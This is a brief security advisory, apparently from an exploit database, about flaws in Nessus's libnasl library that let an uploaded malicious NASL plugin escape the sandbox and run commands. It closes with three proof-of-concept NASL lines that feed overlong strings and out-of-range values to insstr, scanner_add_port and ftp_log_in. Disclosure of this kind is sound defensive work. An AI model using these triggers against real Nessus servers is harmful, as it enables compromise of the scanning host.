source: http://www.securityfocus.com/bid/7664/info Nessus has reported that various flaws have been discovered in the 'libnasl' library used by the Nessus application. As a result, a malicious NASL script may be able to break outside of the established sandbox environment and execute arbitrary commands on the local system. Note that this malicious script must be a legitimate plugin that has been uploaded to the Nessus server. Furthermore, the affected Nessus application must have enabled the 'plugins_upload' option (which is disabled by default). insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd); scanner_add_port(port : 80, proto : crap(data:'A', length:300)); ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) );
